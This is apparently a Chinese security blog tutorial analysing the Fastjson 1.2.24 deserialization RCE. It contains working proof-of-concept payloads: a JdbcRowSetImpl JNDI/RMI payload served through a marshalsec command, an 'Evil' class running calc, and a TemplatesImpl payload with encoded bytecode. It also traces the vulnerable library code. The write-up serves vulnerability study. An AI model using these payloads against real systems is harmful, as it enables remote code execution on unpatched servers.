当前位置:   article > 正文

【Java代码审计】Fastjson1.2.24漏洞分析_fastjson 1.2.24 tomcat9

fastjson 1.2.24 tomcat9

Fastjson是由阿里巴巴研发的一个java库,用来实现Java对象转换JSON格式以及JSON字符串转换为对象。

在Fastjson<=1.2.24以前存在远程代码执行漏洞。

Fastjson漏洞分析

启用一个maven项目,直接在pom.xml导入以下内容

  1. <dependencies>
  2. <dependency>
  3. <groupId>com.alibaba</groupId>
  4. <artifactId>fastjson</artifactId>
  5. <version>1.2.23</version>
  6. </dependency>
  7. </dependencies>

导入JSON库

import com.alibaba.fastjson.JSON

fastjson有两种常见的处理JSON方式:

  • JSON.toJSONString()

  • JSON.parseObject()

分别用来将对象转换为JSON字符串以及JSON字符串转换为对象。

先定义一个类User,用来作为JSON对象。

  1. public class User {
  2. private int age;
  3. private String name;
  4. public int getAge() {
  5. System.out.println("调用了getAge()");
  6. return age;
  7. }
  8. public void setAge(int age) {
  9. this.age = age;
  10. System.out.println("调用了setAge()");
  11. }
  12. public String getName() {
  13. System.out.println("调用了getName()");
  14. return name;
  15. }
  16. public void setName(String name) {
  17. this.name = name;
  18. System.out.println("调用了setName()");
  19. }
  20. }

我们使用JSON.toJSONString来JSON序列化我们的类user。

  1. import com.alibaba.fastjson.JSON;
  2. public class Test {
  3. public static void main(String[] args) {
  4. User user = new User();
  5. user.setAge(18);
  6. user.setName("Tom");
  7. System.out.println("-----------JSON------------------");
  8. String json = JSON.toJSONString(user);
  9. System.out.println(json);
  10. }
  11. }

可以看到运行结果为:

调用了setAge()
调用了setName()
-----------JSON------------------
调用了getAge()
调用了getName()
{"age":18,"name":"Tom"}

我们再创建一个类,用来将JSON序列化的内容转换为JAVA对象

  1. import com.alibaba.fastjson.JSON;
  2. public class JsonToObj {
  3. public static void main(String[] args) {
  4. String str = "{\"age\":18,\"name\":\"Tom\"}";
  5. System.out.println(JSON.parseObject(str,User.class));
  6. }
  7. }

可以看到运行结果为:

调用了setAge()
调用了setName()
User@28c97a5

不难发现,JSON序列化对象时调用了getAge()和getName(),而在反序列化时调用了setAge()和setName()。且在反序列化时调用的JSON.parseObject(str,User.class),指定所属的类还可以通过指定@type的方式来定位类。

当我们利用JSON在反序列化时调用并覆盖恶意的类的构造方法以及属性相关的set方式时,就能够达到RCE的目的,且JSON.parseObject(“{"@type":"

User","name":"Tom","age":18}”,Feature.SupportNonPublicField) 能够为private成员赋值。

JdbcRowSetImpl

com.sun.rowset.JdbcRowSetImpl

使用JNDI注入来实现RCE。

编译这个类,放到我们启用的RMI服务器的目录下,确保我们能够访问到它。

  1. import com.sun.org.apache.xalan.internal.xsltc.DOM;
  2. import com.sun.org.apache.xalan.internal.xsltc.TransletException;
  3. import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
  4. import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
  5. import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
  6. public class Evil extends AbstractTranslet{
  7. static {
  8. System.err.println("Pwned");
  9. try {
  10. String[] cmd = {"calc"};
  11. java.lang.Runtime.getRuntime().exec(cmd).waitFor();
  12. } catch ( Exception e ) {
  13. e.printStackTrace();
  14. }
  15. }
  16. @Override
  17. public void transform(DOM arg0, SerializationHandler[] arg1) throws TransletException {
  18. // anything
  19. }
  20. @Override
  21. public void transform(DOM arg0, DTMAxisIterator arg1, SerializationHandler arg2) throws TransletException {
  22. // anything
  23. }
  24. }

启动RMI服务器

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://127.0.0.1/#Evil" 9999

构造恶意的Payload

  1. import com.alibaba.fastjson.JSON;
  2. public class JsonToObj {
  3. public static void main(String[] args) {
  4. String str = "{\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:9999/#Evil\",\"autoCommit\":true}}";
  5. System.out.println(JSON.parseObject(str));
  6. }
  7. }

成功命令执行

原理:

将恶意的值(接下来我们构造的dataSourceName)输入到setDataSourceName(String name)

  1. public void setDataSourceName(String name) throws SQLException {
  2. if (name == null) {
  3. dataSource = null;
  4. } else if (name.equals("")) {
  5. throw new SQLException("DataSource name cannot be empty string");
  6. } else {
  7. dataSource = name;
  8. }
  9. URL = null;
  10. }

会运行setAutoCommit(),其中的connect()里面,就是我们这个反序列化漏洞的核心函数lookup()。

  1. public void setAutoCommit(boolean var1) throws SQLException {
  2. if (this.conn != null) {
  3. this.conn.setAutoCommit(var1);
  4. } else {
  5. this.conn = this.connect();
  6. this.conn.setAutoCommit(var1);
  7. }
  8. }

connect()方法中有典型的JNDI的Lookup方法调用,且参数为我们上传的参数dataSourceName。

  1. protected Connection connect() throws SQLException {
  2. if (this.conn != null) {
  3. return this.conn;
  4. } else if (this.getDataSourceName() != null) {
  5. try {
  6. InitialContext var1 = new InitialContext();
  7. DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
  8. return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection();
  9. } catch (NamingException var3) {
  10. throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
  11. }
  12. } else {
  13. return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null;
  14. }
  15. }

TemplatesImpl

TemplatesImplcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl,这个类的利用条件较为苛刻,必须要开启Feature.SupportNonPublicField,便可以不利用setter方法,成功赋值。

  1. import com.alibaba.fastjson.JSON;
  2. import com.alibaba.fastjson.parser.Feature;
  3. public class JsonToObj {
  4. public static void main(String[] args) {
  5. String str = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADQAJAoAAwAPBwARBwASAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAR0ZXN0AQAMSW5uZXJDbGFzc2VzAQAiTGNvbS9oZWxsby9kZW1vL2pzb24vSkRLN3UyMSR0ZXN0OwEAClNvdXJjZUZpbGUBAAxKREs3dTIxLmphdmEMAAQABQcAEwEAIGNvbS9oZWxsby9kZW1vL2pzb24vSkRLN3UyMSR0ZXN0AQAQamF2YS9sYW5nL09iamVjdAEAG2NvbS9oZWxsby9kZW1vL2pzb24vSkRLN3UyMQEACDxjbGluaXQ+AQARamF2YS9sYW5nL1J1bnRpbWUHABUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAXABgKABYAGQEABGNhbGMIABsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAdAB4KABYAHwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQHACEKACIADwAhAAIAIgAAAAAAAgABAAQABQABAAYAAAAvAAEAAQAAAAUqtwAjsQAAAAIABwAAAAYAAQAAACoACAAAAAwAAQAAAAUACQAMAAAACAAUAAUAAQAGAAAAFgACAAAAAAAKuAAaEhy2ACBXsQAAAAAAAgANAAAAAgAOAAsAAAAKAAEAAgAQAAoACQ==\"],'_name':'exp','_tfactory':{ },\"_outputProperties\":{ }}";
  6. System.out.println(JSON.parseObject(str, Feature.SupportNonPublicField));
  7. }
  8. }

成功命令执行

原理:

调用了_outputProperties的getter方法(getOutputProperties)

跟进newTransformer()

跟进getTransletInstancew()

name不为空且 _class为空时,会进入defineTransletClasses()

defineTransletClasses()中,要满足tfactory属性不为空,否则会造成空指针异常,且后面将二维数组bytecode属性转化为Class对象,同时存入一维数组_class属性中,同时有一个细节就是我们构造的恶意类父类要为com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet,不然这个索引不会更新当前位置

然后回到getTransletInstance()方法

这里根据_class属性以及当前索引获取当前Class对象,并拿到无参构造器进行实例化,可以将恶意代码放在无参构造函数或者静态代码块中,这样实例化时就会触发命令执行等操作从而RCE

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/码创造者/article/detail/870097?site
推荐阅读
相关标签
  

闽ICP备14008679号